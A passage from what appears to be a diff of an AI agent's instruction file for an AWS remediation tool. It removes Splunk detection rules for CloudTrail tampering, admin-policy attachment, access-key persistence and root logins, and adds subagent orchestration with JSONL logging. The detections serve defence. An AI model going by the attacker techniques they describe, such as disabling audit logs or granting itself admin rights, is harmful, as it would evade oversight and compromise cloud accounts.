preserves individual event context so you can see exactly which events contributed to the composite trigger, which is critical for SOC investigation. -- The `by src_user_arn` clause ensures the sliding window is tracked independently per principal — one user's recon activity doesn't combine with another user's escalation activity to produce a false composite. -- `sort 0 _time` before `streamstats` ensures chronological ordering so the sliding window operates correctly. The `0` disables Splunk's default sort limit. - -**When to use `stats` vs `streamstats` in composites:** -- Use `streamstats` (default for composites) when the time relationship between phases matters — i.e., recon should precede escalation, and the full chain must occur within a window. This is the standard case. -- Use `stats` only for simple "did N distinct phases occur at all in the lookback period" checks where event ordering and sliding windows don't matter. - -### CloudTrail SPL Field Reference - -All detections target CloudTrail management events using Splunk Add-on for AWS field names. These are the canonical field names to use in every SPL query: - -| Field | Description | Example Values | -|---|---|---| -| `eventName` | AWS API call name | `CreateAccessKey`, `AttachRolePolicy`, `ConsoleLogin` | -| `eventSource` | AWS service endpoint | `iam.amazonaws.com`, `s3.amazonaws.com`, `sts.amazonaws.com` | -| `userIdentity.type` | Caller identity type | `IAMUser`, `AssumedRole`, `Root`, `AWSService`, `FederatedUser` | -| `userIdentity.arn` | Full ARN of the caller | `arn:aws:iam::123456789012:user/alice` | -| `userIdentity.userName` | Human-readable caller name (IAMUser only) | `alice`, `svc-deploy` | -| `requestParameters.*` | API request body fields — varies by API | `requestParameters.userName`, `requestParameters.policyArn` | -| `responseElements.*` | API response body fields | `responseElements.accessKey.accessKeyId` | -| `errorCode` | Non-empty string = failed API call | `AccessDenied`, `NoSuchEntityException` | -| `sourceIPAddress` | Caller IP or AWS service endpoint | `203.0.113.42`, `iam.amazonaws.com` | -| `userAgent` | Client identifier | `console.amazonaws.com`, `aws-cli/2.x`, `Boto3/1.x` | -| `recipientAccountId` | Target account for cross-account calls | `123456789012` | -| `awsRegion` | AWS region of the API call | `us-east-1`, `us-west-2` | - -### CloudTrail eventSource Reference — AWS Service Mappings - -Every AWS service writes CloudTrail events with a unique `eventSource` value. Use this reference when filtering detections by service and when reasoning about which SPL queries target which CloudTrail records. - -**Original 7 services (pre-Phase-4):** - -| Service | CloudTrail eventSource | -|---|---| -| IAM | `iam.amazonaws.com` | -| STS | `sts.amazonaws.com` | -| S3 | `s3.amazonaws.com` | -| KMS | `kms.amazonaws.com` | -| Secrets Manager | `secretsmanager.amazonaws.com` | -| Lambda | `lambda.amazonaws.com` | -| EC2 | `ec2.amazonaws.com` | - -**New services added in Phase 4 (attack-paths module expansion):** - -| Service | CloudTrail eventSource | -|---|---| -| RDS | `rds.amazonaws.com` | -| SNS | `sns.amazonaws.com` | -| SQS | `sqs.amazonaws.com` | -| API Gateway | `apigateway.amazonaws.com` | -| Bedrock | `bedrock.amazonaws.com`, `bedrock-agent.amazonaws.com` | -| SageMaker | `sagemaker.amazonaws.com` | -| CodeBuild | `codebuild.amazonaws.com` | - -**Usage in SPL:** When filtering detections by service, add `eventSource=` after `index=cloudtrail` to scope the search to a specific service's API calls. For composite detections that correlate events across multiple services, filter on `eventName` values explicitly rather than `eventSource` to avoid cross-service false negatives. - -```spl -index=cloudtrail earliest=-24h latest=now eventSource=rds.amazonaws.com eventName=ModifyDBSnapshotAttribute -``` - ---- - -**CIM rename requirement:** At the start of every detection, rename raw CloudTrail field names to CIM-normalized names so detections are compatible with Splunk's Common Information Model: - -```spl -| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn +```bash +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "{failed_subagent}" --arg status "error" '{event_id:"ev-NNN",type:"subagent_return",name:$name,status:$status,timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" ``` -This rename enables compatibility with CIM-based correlation searches and dashboards. Always place the rename immediately after the initial `index=cloudtrail` search. - -### SOC-Ready Detection Template - -Use this exact markdown format for every detection embedded in technical-remediation.md: - -```markdown -#### Detection: [ATOMIC] +Report to parent orchestrator/operator: -**SPL:** -```spl - ``` -**MITRE ATT&CK:** / — -**Severity:** critical | high | medium | low -**Type:** Atomic | Composite -**Composites into:** -**Atomic components:** -**Description:** -**False Positives:** -**Tuning Guidance:** -**Related Attack Path:** -**Source:** [run_id] | Attack Path: [attack_path_name] | Severity: [critical|high|medium|low] +STATUS: error +DEFEND_RUN_DIR: {defend_run_dir} +ERRORS: {which subagent(s) failed and why} ``` -**Key requirement:** Every field must be populated. Do not leave Description, False Positives, or Tuning Guidance blank — a SOC analyst must be able to use this detection immediately without referring to additional documentation. +If all 4 returned STATUS: complete, log each return: -**Atomic vs Composite severity:** Atomic detections typically get medium or low severity (single observable, high false positive rate alone). Composite detections that correlate multiple atomics get high or critical severity (multi-phase behavior, high confidence). The composite is what pages the SOC — the atomics feed the investigation timeline. - -### Standard SPL Query Skeleton - -Every SPL detection follows this base pattern. Fill in `` and `` per attack path: - -```spl -index=cloudtrail earliest=-24h latest=now eventName= [] -| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn -| stats count min(_time) AS firstTime max(_time) AS lastTime - by eventName user src_user_arn sourceIPAddress userAgent recipientAccountId -| eval firstTime=strftime(firstTime,"%Y-%m-%dT%H:%M:%S"), lastTime=strftime(lastTime,"%Y-%m-%dT%H:%M:%S") -| where count > 0 -``` - -For multiple event names in a single detection (same attack pattern, multiple API calls): - -```spl -index=cloudtrail earliest=-24h latest=now (eventName=EventOne OR eventName=EventTwo OR eventName=EventThree) -| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn -| stats count min(_time) AS firstTime max(_time) AS lastTime - by eventName user src_user_arn sourceIPAddress userAgent recipientAccountId -| eval firstTime=strftime(firstTime,"%Y-%m-%dT%H:%M:%S"), lastTime=strftime(lastTime,"%Y-%m-%dT%H:%M:%S") -| where count > 0 +```bash +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-guardrails" --arg status "complete" '{event_id:"ev-006",type:"subagent_return",name:$name,status:$status,timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-splunk" --arg status "complete" '{event_id:"ev-007",type:"subagent_return",name:$name,status:$status,timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-policy" --arg status "complete" '{event_id:"ev-008",type:"subagent_return",name:$name,status:$status,timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-remediation" --arg status "complete" '{event_id:"ev-009",type:"subagent_return",name:$name,status:$status,timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" ``` -Use OR for event names that are part of the same attack behavior and share a detection intent. Do not create separate detections when a single OR query accurately captures the same threat pattern. +Capture METRICS from each Wave 1 return for use in results.json assembly: +- GUARDRAILS_SCPS, GUARDRAILS_RCPS — from scope-defend-guardrails METRICS +- DETECTIONS_COUNT — from scope-defend-splunk METRICS +- POLICY_REPLACEMENTS_COUNT — from scope-defend-policy METRICS +- REMEDIATION_ITEMS_COUNT — from scope-defend-remediation METRICS + -### Attack-Path-to-Detection Mapping + +## Wave 2: Validate-Fix Loop -Translate audit findings into detections using this logic: +After all 4 Wave 1 subagents complete successfully, dispatch the validator. -1. **Source field:** Read `detection_opportunities[]` from the attack path's DATA_JSON — these are the CloudTrail `eventName` values to monitor. +This is the validate-fix loop — it runs at most 2 rounds (D-26 cap) to prevent infinite loops (T-78-14). -2. **MITRE mapping:** Read `mitre_techniques[]` from the attack path — use these as the MITRE ATT&CK references in the detection. Match technique IDs to tactic names using this table: +### Round 1: Initial Validation - | MITRE Tactic | ID | Common AWS Techniques | - |---|---|---| - | Initial Access | TA0001 | T1078 Valid Accounts, T1078.004 Cloud Accounts | - | Persistence | TA0003 | T1136.003 Cloud Accounts, T1098 Account Manipulation | - | Privilege Escalation | TA0004 | T1078.004 Cloud Accounts, T1548 Abuse Elevation Control | - | Defense Evasion | TA0005 | T1562.008 Disable Cloud Logs, T1562 Impair Defenses | - | Discovery | TA0007 | T1087 Account Discovery, T1069 Permission Groups Discovery | - | Credential Access | TA0006 | T1552 Unsecured Credentials, T1528 Steal Application Token | - | Exfiltration | TA0010 | T1537 Transfer Data to Cloud Account, T1567 Exfiltration Over Web Service | +Log dispatch: -3. **Severity:** Match the detection severity to the attack path severity — do not re-score. critical attack path → critical detection. - -4. **Grouping logic:** Each distinct behavior becomes its own **atomic detection**. If an attack path has eventNames spanning multiple phases (recon, escalation, persistence, exfiltration), create separate atomic detections per phase, then create a **composite detection** that correlates them by `src_user_arn` within a time window. Closely related eventNames within the same phase (e.g., `AttachUserPolicy` + `AttachRolePolicy` + `AttachGroupPolicy`) can be grouped into a single atomic detection using OR. - -5. **False positive derivation:** Based on the API call type: - - Admin/ops API calls (CloudTrail, IAM policy changes) → automation and CI/CD pipelines - - Access key operations → employee offboarding workflows, key rotation automation - - Cross-account API calls → legitimate partner integrations, centralized logging - - Console login operations → scheduled interactive access by ops teams - -6. **Tuning guidance approach:** - - `userAgent` filter: Exclude `aws-internal`, specific SDK versions used by known automation - - `sourceIPAddress` filter: Whitelist known office CIDR ranges, VPN exit nodes - - Role ARN exclusion: Add `NOT src_user_arn IN ("arn:aws:iam::*:role/SecurityAdminRole", ...)` for exempted roles - - Time-window filter: `where date_hour >= 8 AND date_hour <= 18` for business-hours-only alerts - -### Reference Detections - -These four detections are verified against Splunk Security Content (research.splunk.com/cloud/) and must be included exactly as written when the corresponding attack paths are discovered. - ---- - -#### Detection: AWS IAM CreateAccessKey for Another User - -**SPL:** -```spl -index=cloudtrail earliest=-24h latest=now eventName=CreateAccessKey -| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn -| eval match=if(match(user, requestParameters.userName), 1, 0) -| search match=0 -| rename requestParameters.userName AS target_user -| stats count min(_time) AS firstTime max(_time) AS lastTime - by eventName user src_user_arn target_user sourceIPAddress userAgent recipientAccountId -| eval firstTime=strftime(firstTime,"%Y-%m-%dT%H:%M:%S"), lastTime=strftime(lastTime,"%Y-%m-%dT%H:%M:%S") -| where count > 0 +```bash +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-validate" '{event_id:"ev-010",type:"subagent_dispatch",name:$name,round:"1",timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" ``` -**MITRE ATT&CK:** Persistence / T1136.003 — Create Cloud Account -**Severity:** high -**Description:** Detects when an IAM principal creates an access key for a different user account, not for itself. This is a persistence technique — after gaining access, an attacker creates credentials for another (often higher-privileged) account to maintain access even if their initial foothold is removed. The `match=0` filter removes self-key-creation events (users rotating their own keys). -**False Positives:** Service desk workflows where admins create keys on behalf of new employees, automated provisioning systems that create keys during account setup. -**Tuning Guidance:** Filter by `userAgent` to exclude known provisioning automation (e.g., `NOT userAgent="Terraform/*"`). Add `NOT user IN ("svc-provisioning", "admin-automation")` to exclude known admin service accounts. If your org uses a break-glass rotation process, filter that role's ARN. -**Related Attack Path:** Any attack path with `CreateAccessKey` in its detection_opportunities field. - ---- - -#### Detection: AWS IAM Privilege Escalation via AdministratorAccess Policy Attachment - -**SPL:** -```spl -index=cloudtrail earliest=-24h latest=now (eventName=AttachUserPolicy OR eventName=AttachRolePolicy OR eventName=AttachGroupPolicy) - requestParameters.policyArn="arn:aws:iam::aws:policy/AdministratorAccess" -| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn, - requestParameters.userName AS target_user, - requestParameters.roleName AS target_role, - requestParameters.groupName AS target_group -| eval target=coalesce(target_user, target_role, target_group) -| stats count min(_time) AS firstTime max(_time) AS lastTime - by eventName src_user_arn target sourceIPAddress userAgent recipientAccountId -| eval firstTime=strftime(firstTime,"%Y-%m-%dT%H:%M:%S"), lastTime=strftime(lastTime,"%Y-%m-%dT%H:%M:%S") -| where count > 0 ``` +Dispatch scope-defend-validate as a subagent with this initial message: -**MITRE ATT&CK:** Privilege Escalation / T1078.004 — Valid Accounts: Cloud Accounts -**Severity:** critical -**Description:** Detects attachment of the AWS-managed AdministratorAccess policy to any IAM user, role, or group. This grants full AWS account control. The `coalesce(target_user, target_role, target_group)` pattern handles all three Attach*Policy API variants in a single detection. Any event here outside of a change-management window is high-confidence malicious activity. -**False Positives:** Break-glass account setup (emergency access), new AWS account bootstrapping before least-privilege policies are deployed. These should be rare and change-controlled. -**Tuning Guidance:** Add `NOT src_user_arn="arn:aws:iam::*:role/OrgsBreakGlassRole"` to exclude the authorized break-glass role. Create a lookup table of authorized policy-attachment roles and use `NOT [inputlookup authorized_policy_admin_roles.csv]` for more complex environments. -**Related Attack Path:** Any attack path with `AttachRolePolicy`, `AttachUserPolicy`, or `AttachGroupPolicy` in its detection_opportunities field and MITRE T1078.004 in its mitre_techniques. + AUDIT_RUN_DIR: {audit_run_dir} + DEFEND_RUN_DIR: {defend_run_dir} + ACCOUNT_ID: {account_id} + FIX_REQUIRED: ---- +Use the Agent tool with subagent_type="scope-defend-validate". -#### Detection: AWS CloudTrail Disable or Modification - -**SPL:** -```spl -index=cloudtrail earliest=-24h latest=now (eventName=DeleteTrail OR eventName=StopLogging OR eventName=UpdateTrail - OR eventName=PutEventSelectors OR eventName=DeleteEventDataStore) -| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn -| stats count min(_time) AS firstTime max(_time) AS lastTime - by eventName user src_user_arn sourceIPAddress userAgent recipientAccountId awsRegion -| eval firstTime=strftime(firstTime,"%Y-%m-%dT%H:%M:%S"), lastTime=strftime(lastTime,"%Y-%m-%dT%H:%M:%S") -| where count > 0 +Wait for subagent to return its summary. +Expected return: + STATUS: pass|partial|fail + BLOCKS: N + WARNS: N + FILE: {defend_run_dir}/validation-report.md ``` -**MITRE ATT&CK:** Defense Evasion / T1562.008 — Disable or Modify Cloud Logs -**Severity:** critical -**Description:** Detects any modification or disabling of AWS CloudTrail trails or event data stores. Attackers disable audit logging immediately after gaining access to prevent their subsequent actions from being recorded. `UpdateTrail` is included because reducing the log scope (e.g., disabling data events) is functionally equivalent to partial disabling. `PutEventSelectors` can narrow what CloudTrail captures. -**False Positives:** Trail migration workflows that temporarily stop logging during region migration, IaC (Terraform/CDK) deployments that recreate trails during updates, security team trail consolidation projects. -**Tuning Guidance:** Add `NOT src_user_arn="arn:aws:iam::*:role/SecurityAdminRole"` to exclude the authorized security admin role. Time-window the alert to outside scheduled maintenance windows using `NOT (date_hour >= 2 AND date_hour <= 4 AND date_wday >= 6)` for Sunday maintenance. -**Related Attack Path:** Any attack path with `StopLogging`, `DeleteTrail`, or `UpdateTrail` in its detection_opportunities field. - ---- - -#### Detection: AWS Root Account Console Login - -**SPL:** -```spl -index=cloudtrail earliest=-24h latest=now eventName=ConsoleLogin "userIdentity.type"=Root -| rename userIdentity.arn AS src_user_arn -| stats count min(_time) AS firstTime max(_time) AS lastTime - by eventName src_user_arn sourceIPAddress userAgent recipientAccountId -| eval firstTime=strftime(firstTime,"%Y-%m-%dT%H:%M:%S"), lastTime=strftime(lastTime,"%Y-%m-%dT%H:%M:%S") -| where count > 0 -``` - -**MITRE ATT&CK:** Initial Access / T1078 — Valid Accounts -**Severity:** high -**Description:** Detects any interactive console login using the AWS root account. Root accounts have unrestricted access to all AWS services and cannot be restricted by IAM policies or SCPs. Any root login outside of the initial account setup or extreme break-glass scenarios should be treated as a high-priority incident. The `userIdentity.type=Root` filter ensures this only fires on true root logins, not assumed roles. -**False Positives:** Minimal. Root login is rarely legitimate — new account setup (one-time), MFA device recovery, and billing contact updates are the only common legitimate scenarios. -**Tuning Guidance:** No suppression recommended. Root console login is always high-priority. Instead of suppressing, ensure this alert routes directly to the security team on-call rotation. If your org has a documented break-glass root procedure, log the expected root login events and cross-reference against the alert to verify legitimacy. -**Related Attack Path:** Any attack path with `ConsoleLogin` in its detection_opportunities and `Root` user exposure in its findings. - ---- - -### SPL Constraints - -Rules the agent MUST follow when generating detections: - -1. **SPL only.** No CloudWatch metric filters, no Sigma YAML, no Python scripts, no other query languages. All detections are Splunk SPL targeting `index=cloudtrail`. - -2. **Use raw `index=cloudtrail` with explicit time bounds.** Write `index=cloudtrail earliest=-24h latest=now` at the start of every query — never use backtick macros (e.g., `` `cloudtrail` ``). Raw SPL ensures portability across Splunk environments. Adjust `earliest`/`latest` to match the detection's intended lookback window (e.g., `-1h` for high-frequency detections, `-7d` for weekly review queries). - -3. **Always rename raw fields to CIM names at query start.** The `| rename userIdentity.userName AS user, userIdentity.arn AS src_user_arn` line is required in every detection. Place it immediately after the initial search criteria. - -4. **Do not tune thresholds.** Provide the template detection. Do not add `| where count > 5` or other volume thresholds — the SOC team tunes these based on their environment's baseline activity. The exception is boolean thresholds (`| where count > 0`) which are required to ensure the stats command doesn't return empty results. - -5. **Self-contained queries.** Each detection must be executable without any macros, lookup tables, or saved searches. A SOC analyst must be able to copy-paste the SPL into Splunk and run it immediately. - -6. **One detection per distinct behavior.** If an attack path has 5 eventNames but 3 represent the same behavior (e.g., Attach*Policy variants), group them into one detection with OR. If they represent distinct behaviors (recon eventName vs exploitation eventName), create separate atomic detections and wire them into a composite. - -7. **Use `errorCode` to distinguish success vs failure where relevant.** For some detections, failed attempts (non-empty `errorCode`) are as valuable as successes (e.g., repeated `AccessDenied` on `GetSecretValue` indicates enumeration). Add `errorCode=""` to filter for successful calls only, or omit the filter to capture both. - -8. **Use `streamstats` for composite detections.** Composite detections that correlate multiple attack phases MUST use `streamstats` with `time_window` and `by src_user_arn` for sliding-window correlation. Always `sort 0 _time` before `streamstats` to ensure chronological ordering. Do not use `transaction` for composites — `streamstats` is more performant and gives explicit control over the correlation window. - - - -## Prioritization — Risk x Effort Matrix - -After generating all remediation artifacts (SCPs, RCPs, security control recommendations, detection suggestions), organize them by the Risk x Effort matrix to surface quick wins first. - -### Framework - -``` - low EFFORT high EFFORT -high RISK | QUICK WINS | MAJOR PROJECTS - | (do this week) | (plan for quarter) ------------|----------------------------|--------------------------- -low RISK | MAINTENANCE | BACKLOG - | (do when convenient) | (deprioritize) -``` - -### Risk Calibration - -Map audit severity directly to the matrix: -- **critical** → high Risk -- **high** → high Risk -- **medium** → low Risk -- **low** → low Risk - -Do not re-score findings — trust the severity assigned by the audit skill. - -### Effort Calibration - -| Effort Level | Description | Examples | -|---|---|---| -| **low** | 30 minutes or less; copy-paste or click-through | Enable a GuardDuty detector, attach an existing managed Config rule, copy an SCP JSON from this report and paste into AWS Organizations console | -| **high** | Days to weeks; requires planning, architecture review, or org-wide coordination | Write net-new SCP with complex multi-account exemptions, migrate IAM architecture to role-based access, deploy org-wide conformance pack with remediation | - -### Matrix Classification Logic - -For each remediation item, classify it: -1. Check attack path severity → Risk level -2. Evaluate the specific action: - - SCP copy-paste → low Effort → Quick Win (if critical/high) or Maintenance (if medium/low) - - Enable GuardDuty finding type → low Effort → Quick Win (if critical/high) - - Enable Config managed rule → low Effort → Quick Win (if critical/high) - - Design new IAM permission boundary → high Effort → Major Project (if critical/high) - - Org-wide MFA enforcement → high Effort → Major Project (if critical/high) - - Access key rotation → low Effort → Maintenance (if medium/low) - -### Output Format — Prioritization Matrix - -Surface this at the TOP of both executive-summary.md and technical-remediation.md: - -```markdown -## Prioritization Matrix - -### Quick Wins (high Risk, low Effort) — Do This Week - -| # | Action | Risk | Effort | Why Now | Source Attack Path | -|---|--------|------|--------|---------|-------------------| -| 1 | Attach SCP: deny CloudTrail disable | critical | 30 min | Audit evasion is root-level org risk | [attack path name] | -| 2 | Enable GuardDuty: CloudTrailLoggingDisabled finding | critical | 15 min | Immediate detection, no baseline required | [attack path name] | -| 3 | Enable Config: iam-root-access-key-check | high | 15 min | Root access keys are persistently risky | [attack path name] | - -### Major Projects (high Risk, high Effort) — Plan for Quarter - -| # | Action | Risk | Effort | Why Plan | Source Attack Path | -|---|--------|------|--------|---------|-------------------| -| 1 | Implement org-wide MFA policy via SCP | high | 2-3 days | Complex rollout requires coordination with all account owners | [attack path name] | - -### Maintenance (low Risk, low Effort) — Do When Convenient - -| # | Action | Risk | Effort | Why | Source Attack Path | -|---|--------|------|--------|-----|-------------------| - -### Backlog (low Risk, high Effort) — Deprioritize - -| # | Action | Risk | Effort | Why Defer | Source Attack Path | -|---|--------|------|--------|-----------|-------------------| -``` - -### Systemic vs One-Off Note in Matrix - -After each matrix table, note the systemic/one-off classification: -- **Systemic items** (attack path in 2+ runs): Mark with `[org-wide]` — these require org-level policy, not account-specific fixes -- **One-off items** (attack path in 1 run): Mark with `[account-specific]` — scoped to the specific account where discovered - - - -## Output Format - -Two output documents plus deployable policy files. - -### Document 1: executive-summary.md - -Leadership-facing. Risk posture at a glance. No SCP JSON or SPL queries — those are in the technical document. - -```markdown -# SCOPE Remediation — Executive Summary -**Generated:** [timestamp] -**Audit runs analyzed:** [count] runs covering [count] accounts -**Remediate run ID:** [run_id] - ---- - -## Risk Posture Scorecard - -| Category | Risk Level | Finding Count | Systemic | -|---|---|---|---| -| IAM | critical | [count] | [count] org-wide | -| Data Exposure (S3/KMS/Secrets) | high | [count] | [count] org-wide | -| Network | medium | [count] | [count] org-wide | -| **Overall** | **[critical/high/medium/low]** | **[total]** | **[systemic count]** | - ---- - -## Quick Wins — Top 5 Actions (high Risk, low Effort) - -No technical detail — business-impact framing only. - -| # | Action | Business Impact | Estimated Effort | -|---|--------|----------------|-----------------| -| 1 | [action] | [impact in business terms — e.g., "prevents attacker from disabling audit trail, maintaining forensic evidence after breach"] | 30 min | -| 2 | [action] | [business impact] | [time] | -| 3 | [action] | [business impact] | [time] | -| 4 | [action] | [business impact] | [time] | -| 5 | [action] | [business impact] | [time] | - ---- - -## Remediation Summary - -### Preventative Controls -- **[count] SCPs** generated — [count] org-wide (Root OU), [count] account-specific -- **[count] RCPs** generated — all org-wide for data perimeter enforcement - -### Detective Controls -- **GuardDuty:** [count] finding types recommended ([count] rule-based, [count] ML-based) -- **Config:** [count] managed rules recommended -- **Access Analyzer:** Enable in [count] regions -- **[count] SPL detections** suggested (CloudTrail-based, SOC-ready) - ---- - -## Systemic vs One-Off Breakdown - -**Systemic issues (org-wide policy gaps):** [count] attack paths appeared in 2+ audit runs — these require org-level SCPs or conformance packs, not per-account fixes. - -| Attack Path | Severity | Affected Accounts | -|---|---|---| -| [path name] | [critical/high] | [count] accounts | - -**One-off misconfigs (account-specific):** [count] attack paths appeared in 1 audit run — these require account-level remediation only. - -| Attack Path | Severity | Account ID | -|---|---|---| -| [path name] | [level] | [account ID] | - ---- - -## Remediation Timeline Suggestion +Log return: -**This week (Quick Wins):** -- [Top 1-2 quick win actions — lowest effort, highest risk reduction] - -**This month (high-priority projects):** -- [1-3 actions requiring planning but achievable within 30 days] - -**This quarter (Major projects):** -- [1-2 larger architectural changes that require cross-team coordination] - ---- - -## Next Steps - -1. Review the technical-remediation.md for deployable SCP/RCP JSON and full impact analysis -2. Deploy Quick Win SCPs starting with root-level CloudTrail protection -3. Enable GuardDuty via Organizations delegated admin for org-wide ML detection -4. Schedule Major Projects in next planning cycle with relevant teams - -*Full technical details, SCP/RCP JSON, SPL detections, and appendix by control type are in technical-remediation.md* +```bash +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-validate" --arg status "{status}" --argjson blocks {blocks} --argjson warns {warns} '{event_id:"ev-011",type:"subagent_return",name:$name,status:$status,blocks:$blocks,warns:$warns,round:"1",timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" ``` -### Document 2: technical-remediation.md +**Parse Round 1 return:** -Engineer-facing. Primary grouping is by attack path — each path gets its full remediation bundle. Appendix reorganizes by control type for team handoff. +- If BLOCKS == 0 (STATUS: pass): proceed directly to Results Assembly. +- If BLOCKS > 0: read validation-report.md to identify which subagent(s) produced BLOCK findings. -```markdown -# SCOPE Remediation — Technical Plan -**Generated:** [timestamp] -**Audit runs analyzed:** [list run IDs] -**Remediate run ID:** [run_id] +**Re-dispatch producing subagents with FIX_REQUIRED:** ---- - -## Prioritization Matrix -[Full Risk x Effort matrix from prioritization section — Quick Wins first] - ---- +For each BLOCK finding in validation-report.md, identify the producing subagent (`subagent: guardrails|splunk|policy|remediation`). Extract the block finding text. Re-dispatch each affected producing subagent with FIX_REQUIRED set to the specific BLOCK finding text for that subagent. -## Remediation by Attack Path +If multiple subagents have BLOCK findings, re-dispatch them in parallel. -### Attack Path: [Name] — [critical|high|medium|low] +Each re-dispatched subagent receives: -**Source:** [run_id(s)] | **Systemic/One-off:** [systemic | one-off] -**Accounts affected:** [list account IDs] -**MITRE techniques:** [T1078.004, TA0004 — Privilege Escalation] - -#### Preventative Control — SCP - -```json -[formatted SCP JSON] ``` - -[Impact Analysis block] - -#### Preventative Control — RCP (if applicable) - -```json -[formatted RCP JSON] +AUDIT_RUN_DIR: {audit_run_dir} +DEFEND_RUN_DIR: {defend_run_dir} +ACCOUNT_ID: {account_id} +SERVICES_COMPLETED: {services_completed} +FIX_REQUIRED: {block finding text for this specific subagent from Round 1 validation-report.md} ``` -[RCP Impact Analysis block] +Wait for all re-dispatched subagents to complete. -#### Detective Control — Security Controls +### Round 2: Post-Fix Validation -[GuardDuty recommendation] -[Config rule recommendation] -[Access Analyzer recommendation] +After re-dispatched subagents return, dispatch a FRESH scope-defend-validate invocation (do NOT reuse the Round 1 invocation context): -#### Detective Control — SPL Detection +Log dispatch: -```spl -[SPL query] +```bash +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-validate" '{event_id:"ev-012",type:"subagent_dispatch",name:$name,round:"2",timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" ``` -[Detection document structure: MITRE, Severity, Description, False Positives, Tuning Guidance] - ---- - -[Repeat for each attack path] - ---- - -## Appendix A — All SCPs (for Policy Team) - -For each SCP generated in the attack-path sections above: - -```markdown -### [SCP Name] — [OU Attachment Level] - -**Attack path(s):** [cross-reference to attack path section above] -**Systemic/One-off:** [systemic | one-off] - -```json -[formatted SCP JSON] ``` +Dispatch scope-defend-validate as a FRESH subagent with this initial message: -**Compact JSON (deploy this to policies/ directory):** -`[single-line compact JSON]` - -**Character count:** [N] chars (limit: 5120; warning threshold: 4500) -``` + AUDIT_RUN_DIR: {audit_run_dir} + DEFEND_RUN_DIR: {defend_run_dir} + ACCOUNT_ID: {account_id} + FIX_REQUIRED: {block findings from Round 1 that should now be fixed} -Order: Root-level SCPs first → Workload OU SCPs → Account-level SCPs. +Use the Agent tool with subagent_type="scope-defend-validate". -## Appendix B — All RCPs (for Policy Team) - -For each RCP generated in the attack-path sections above: - -```markdown -### [RCP Name] — Root OU - -**Attack path(s):** [cross-reference to attack path section above] -**Services covered:** [S3, KMS, Secrets Manager, etc.] - -```json -[formatted RCP JSON] +Wait for subagent to return its summary. +Expected return: + STATUS: pass|partial|fail + BLOCKS: N + WARNS: N + FILE: {defend_run_dir}/validation-report.md ``` -**Replace before deploying:** Update `` with your AWS Organizations ID. -``` - -Order by service covered: S3 → KMS → Secrets Manager → SQS → other. - -## Appendix C — All GuardDuty Recommendations (for SOC) - -For each GuardDuty recommendation generated in the attack-path sections above: +Log return: -```markdown -### [GuardDuty Finding Type] - -**Attack path(s):** [cross-reference] -**Severity range:** [GuardDuty severity level] -**Fires on:** [rule-based immediately | ML-based 7-14 day baseline] -**Activation scope:** [org-wide via delegated admin | single account] +```bash +printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "scope-defend-validate" --arg status "{status}" --argjson blocks {blocks} --argjson warns {warns} '{event_id:"ev-013",type:"subagent_return",name:$name,status:$status,blocks:$blocks,warns:$warns,round:"2",timestamp:$ts}')" >> "$DEFEND_RUN_DIR/agent-log.jsonl" ``` -Order by GuardDuty severity: critical → high → medium → low. +**Parse Round 2 return:** -## Appendix D — All Config Rules (for Cloud Operations) +- If STATUS: fail (validator itself errored — missing files, unreadable artifacts): STOP. Report STATUS: error to operator. Do not proceed to Results Assembly. +- If BLOCKS == 0 (STATUS: pass): proceed to Results Assembly. +- If BLOCKS > 0 (STATUS: partial): proceed to Results Assembly anyway — D-26 max 2 rounds cap reached. Report PARTIAL status to operator. The validation-report.md documents remaining issues. -For each Config rule recommendation generated in the attack-path sections above: +Capture VALIDATION_STATUS, VALIDATION_BLOCKS, VALIDATION_WARNS for results.json assembly. -```markdown -### [rule-id] +Default all METRICS capture variables to 0 before assembly — guards against empty strings from failed subagents that would cause `jq --argjson` to exit non-zero: -**Attack path(s):** [cross-reference] -**CIS control:** [CIS reference] -**Scope:** [org-wide conformance pack | individual account rule] +```bash +GUARDRAILS_SCPS=${GUARDRAILS_SCPS:-0} +GUARDRAILS_RCPS=${GUARDRAILS_RCPS:-0} +DETECTIONS_COUNT=${DETECTIONS_COUNT:-0} +POLICY_REPLACEMENTS_COUNT=${POLICY_REPLACEMENTS_COUNT:-0} +REMEDIATION_ITEMS_COUNT=${REMEDIATION_ITEMS_COUNT:-0} +VALIDATION_BLOCKS=${VALIDATION_BLOCKS:-0} +VALIDATION_WARNS=${VALIDATION_WARNS:-0} ``` + -Group by deployment scope: org-wide conformance pack recommendations first, then individual account rules. - -## Appendix E — All SPL Detections (for SOC) +**Update environment observations:** Before finishing, append up to 5 concise observations to `config/observations.md` under the appropriate account section and `## Deployed Controls`. If the file does not exist, create it using the structure from `config/observations.example.md`. Focus on: new controls deployed, remediation blockers, detection effectiveness. Prefix each 